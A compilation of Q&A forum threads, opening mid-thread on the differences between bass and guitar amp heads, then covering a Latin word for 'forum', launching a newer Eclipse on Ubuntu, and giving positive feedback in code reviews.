Bass players who are not looking for a vintage sound usually want full-range amplification. That means lower lows and higher highs than guitar amps can usually produce. Reproducing a wider range of frequencies requires more power to get the same loudness, so bass players today desire a lot more power than before. Concurrently, or possibly in response to these changing desires, bass speaker cabinets and amplifiers have taken advantage of modern circuit and magnet technologies to be able to reproduce a wider frequency range with more power for much less weight and size. Some bass players use PA equipment to amplify their instrument instead of bass equipment, and there is a lot of overlap in modern bass equipment and PA equipment design. Modern bass amplification is almost like a mini PA.
If we look at the lineup of current Marshall guitar amp heads, we see a range of 30W to 100W of rated output power, and most of the designs are 100% tube, hybrid, or meant to emulate tube amplification.
If we look at the lineup of current Ampeg bass amp heads, we see a range of 100W to 1200W of rated output power, and a significant number of the designs are solid state or hybrid (a little less than half, I think).
Here's a breakdown of things that are more common in bass heads:

Higher rated power output
Wider frequency response
Solid state design or hybrid design (tube pre and solid state power section)
Different EQ frequencies and more EQ options
Bi-amping
Separate circuitry for active basses (alternate input or switch)
Neutrik Speakon output connectors
DI output on XLR
Built-in compressor

Note that due to power output and handling, it's usually safer to power a bass cabinet with a guitar head than it is to power a guitar cabinet with a bass head. Clearly, plugging a 1200W bass head into a guitar cabinet that is expecting a 100W Marshall head could be very bad.
Comment: I'd like to elaborate on this: one of the reasons why guitar amps powering bass cabinets is safer is because guitar amps with tube output sections are less likely to be damaged by low speaker impedances.  If they were solid-state, they'd fry much more easily when hooked to low-impedance speakers.
Comment: @DietrichEpp **You've got that backwards**. Power tubes have high impedance outputs which is then lowered using an output transformer. But there are limitations to how low the impedance can be practically made with a transformer, so it is rare to have a tube power stage with an output impedance below 4 Ohms. Solid state designs, especially those based on cascaded bipolar junction transistors, can in some cases be made to have arbitrarily low output impedances, below 2 Ohms. I didn't think of that in my answer, but impedances should always be checked, regardless of design.
Comment: @ToddWilcox: I think we're getting at different phenomena here.  My point is that because tubes have high output impedances, it is relatively safe to use a tube amp to drive a low-impedance load, even below the amp's nominal rating, because the current will usually be limited by the output impedance (not counting that speakers are highly inductive).  Your point is also correct, that they are not designed to do this, and as a result the tone may be inferior.  High impedance loads can cause problems with tube amps because the power tubes will basically be driving the inductance of the xformer.
Comment: @DietrichEpp My understanding is that current will **not** be limited enough at the output and the transformer and tubes will be overheated by excess current, possibly to the point of damage or destruction. That is borne out by warnings in instruction manuals provided by amp manufacturers. It's possible the warning are based on an overabundance of caution, but I've never heard of an overly low load impedance being described as anything other than very, very bad.
Answer: The main difference will be the frequency range the head is capable of controlling. The lowest note on a guitar is not far off the top string of a four string bass guitar, so an octave of lower notes needs to be treated with some equalisation that just isn't needed by a guitar. Likewise, a guitar uses far higher notes than a bass, normally, so the eq. on a guitar amp will need to cater for a different, higher, range in the sonic spectrum. Also, it's more usual for a guitar amp to have some sort of overdrive built in. If it's a valve amp that's intrinsic, but not so necessary for bass amplification. It's also more common for bass heads to have an XLR socket, to D.I. into a P.A.
The guitarist in a band I used to work with used a Hartke bass head - sounded lovely!
Answer: The obvious difference between bass and guitar heads/amps/cabinets is that each one is designed for a specific instrument. The bass guitar has a lower range than that of the guitar, so the related amplification equipment must be designed to express the lower ranges better than the higher ones.
This doesn't mean that you cannot connect a guitar to a bass head/amp or vice versa, but for the best outcome, you should stick with that there is for the instrument you want.
What I'd suggest is to try heads both for bass and guitar and see what sound you like better. You might prefer a guitar head for your bass cab.
Comment: I seem to remember in the '60s a lot of guitarists preferred Fender bass gear for guitar.
Answer: An anecdotal answer:
This one time at band camp (actually it was a wedding), our bassist arrived and realised he'd forgotten to bring his bass head. After we'd kicked him around the car park for a while, I suggested we try using a small PA amp which we use for our foldback speakers. It's about 150 watts (mono).
I was expecting it to crunch and struggle with the power but it was worth a shot. So we plugged it into his bass cab on gave it a go.
Actually, it was fine and our man reported, after his wounds had healed,  that it had easily enough oomph to fill the room (a hall about the size of a tennis court). There was a bit of a difference in lower-mid response but with some tweaking of bass controls, it did the job.
It occurs to me that although there will be differences in a bass cab to a PA vs. Guitar cab, (others have no doubt covered this), the majority of the difference is in the speaker cabinet which will be designed to handle &  brutal bass in a pleasing manner.
I have also tried playing a guitar through a bass head and although it was a bit 'chunkier' (which translated to a bit too bassy), with some tweaking of EQ it was quite useable.
Comment: I often use a p.a. combo for bass at a venue. It comes up trumps every time. No problems - it's a full range amp/speaker.


What is a forum in Latin?

Question: The word "forum" as used in English and many other modern languages obviously comes from Latin.
It means a place where people gather to discuss, like an online forum or a scientific conference, but not a place of commerce.
The Latin forum means a marketplace or an outside or public area.
Is forum the best match for the English "forum" (with more or less equivalent reincarnations in other languages), or is there a better choice?
Answer: Caesar and Cicero refer to collŏquĭum in association with convenio vb and convenium noun.

a talking together, conversation, conference, discourse. (W Smith 1895)

exemplum

collŏquĭum quum conveniunt in unum locum loquendi causa Varr L.L. 6,7,66.

and from Caesar B. G. 1

eo ad colloquium venerunt
  in colloquium venire.

Is that too formal?
Comment: This looks great! Formality is no problem, and *colloquium* doesn't strike me as very formal anyway.
Answer: English in this context has a number of words that might originally have suggested something rather different. We speak of the Republican Party Convention, the Trades Union Congress, the Synod of the Church of England, the Welsh National Assembly, the Council for the Preservation of Rural England and so on. It wouldn't be stretching it too far to say that these are all forums of one kind or another.
Going into Latin, however, the most frequent word for a forum in the sense apparently needed here is conventus, basically meaning an 'assembly', a 'conjunction', a 'coming together', in almost any sense, and it's probably the most suitable word for 'forum' as the word is nowadays used.  It appears far more often in word-searches than conventio, being much favoured (if that's the right word) by both Caesar and (especially) Cicero. A word like conventio, congressio or colloquium is tempting because of similarity in current English, but each seems to have had a restricted use, whereas conventus can be applied to any kind of gathering, including that of people for discussion and other kinds of interaction.

What is a forum in Latin?


Terminal launches old Eclipse

Question: I installed Eclipse Mars 4.5 with a desktop shortcut in 15.04, following the Ubuntu guide. When I try to launch eclipse from the terminal it opens Eclipse 3.8.
How I can remove Eclipse 3.8 and have the terminal command open Eclipse 4.5?
Comment: Please [edit] your answer and add the output of `which eclipse` and `ls /opt`.
Comment: Make that `type -a eclipse`.
Answer: This is the version of eclipse (3.8.1-7) [universe]eclipse (3.8.1-7) [universe] that ships with 15.04. My guess is that you have installed the 4.5 version independently of the apt packaging system. It will be tricky to work out where this is installed on the filesystem, but my guess will be /opt.
You need add the path of the executable eclipse to $PATH for it to work from (if it isn't already in there). You can check with
<code>$ echo $PATH
</code>
If the path for your new install isn't in there, then it won't work.

Terminal launches old Eclipse


Should we spend a little more effort telling people what they've done right?

Question: Code Reviews tend to be a bit of a negative thing. We spend a lot of time pointing out problems in other people's code (and rightfully so). However, a good code review also points out what was done well. Should we put more effort into telling people what they've done right too? What are the benefits of it?
Answer: We are all here to write good code. We should be told when we have succeeded in that!
One day I would really like to write something like:

You have made a nice frobnicator here, I like how you used the fizzler to buzz it. Additionally, your naming is awesome and your method interfaces are cleanly written. Now go out there and write some more awesome code for me to review!

There is just something special about hearing things such as:

This is a good start (the first time you use a language you've never used before)
looks like an elegant solution
your code is 250 times faster
What you made is impressive
There is not much to criticize in your code.... and there is a lot of code to go though

Even if all the rest of what you are saying is negative (whether it's very negative or just nitpicks) then you can always say that they got it to work, which is an important achievement itself
Sometimes when there are truly no positive things to say then you can say that you would like them to come back, because you would like to write a more positive review next time.

One of my all time favorite quotes is:

Remember compliments you receive, forget the insults. If you succeed in doing this, tell me how- Baz Luhrmann "Everybody's Free (To Wear Sunscreen)"

If we give more compliments, it will be easier to do that.
Answer: When someone asks about a very specific part of their code, I think one of three options are appropriate:

Don't address it at all because you're not sure about that specific part.
Address it and tell them how it could be better (because it needs work).
Address it and relieve their concerns by telling them they've done it in the most appropriate way possible.

However, we should be careful about the third option.
By using option 1 and not addressing it, we effectively tell the asker "I can't see a better way to do that," and at least assure him that someone else agrees that's an all right approach.  However, it doesn't confidently lock him into that view point.
If I know two approaches, approach A and approach B, and the asker has used approach A, but I know approach B is objectively better (easier to read, runs faster, uses less memory, best practice, more common way for the language, etc), then I can offer approach B as an answer.
In fact, I can offer approach B as a definite improvement over the current approach without claiming approach B to be the best approach available (there may be an unknown-to-me approach C).
However, if the ask has used approach B, and again, I know approach A and approach B, and approach B is objectively better than approach A, what should I do?
I could comment and say "Well, that's better than approach A"... but how constructive is that?
Variables with actual names are better than variables with single-letter names.  Is it useful for me to point this out to every questioner who managed to use more than one character for his variable names?
And here's the problem.  What if there's an even better way of naming those variables, but I, with my limited experience with the language, or with what he's doing, cannot see it.  To me, he's used the best possible variable names.  To another, his variable names are still just as bad because they see these other variable name options out there.
....
I'm getting rambly...
If you take nothing else from this answer, the point is, given Approach A and Approach B, it's easy to know for sure that Approach B is better than Approach A, but it's very difficult to know whether there's an unknown Approach C out there that's better than either, and that makes telling a user that what they've done is good very complicated.

And if you're ever reading one of my answers (or answer sets), you should take omission of commentary on particular aspects of the question-code to mean "I know no better way."
Comment: The gist of the question is, should we tell askers that something they've done is good, right?  The answer addresses that by warning against doing this because there may be a better way that the answered doesn't know about.
Comment: *you should take omission of commentary on particular aspects of the question-code to mean "I know no better way."* - How can we take it as such if you omit it? We might just as well take it as '*I did not bother looking into that part*'.
Comment: @nhgrif: I can only second that. Each time I write something like: `you have done this well` I have the nagging thought `who are you to give this "absolute" evaluation?` This can be reduced a bit by qualifying it with "to the best of my knowledge" but then the question which becomes even harder (see [Dunning-Kruger-Effect](https://en.wikipedia.org/wiki/Dunning%E2%80%93Kruger_effect)). So I fear that on CR the saying becomes "If you don't have any critique, don't say anything at all".
Comment: Agreed with @SimonAndréForsberg. An omission is simply an omission and no assumptions should (or can) be made.
Comment: Also, after reading this a second time, I'm not sure it addresses the question.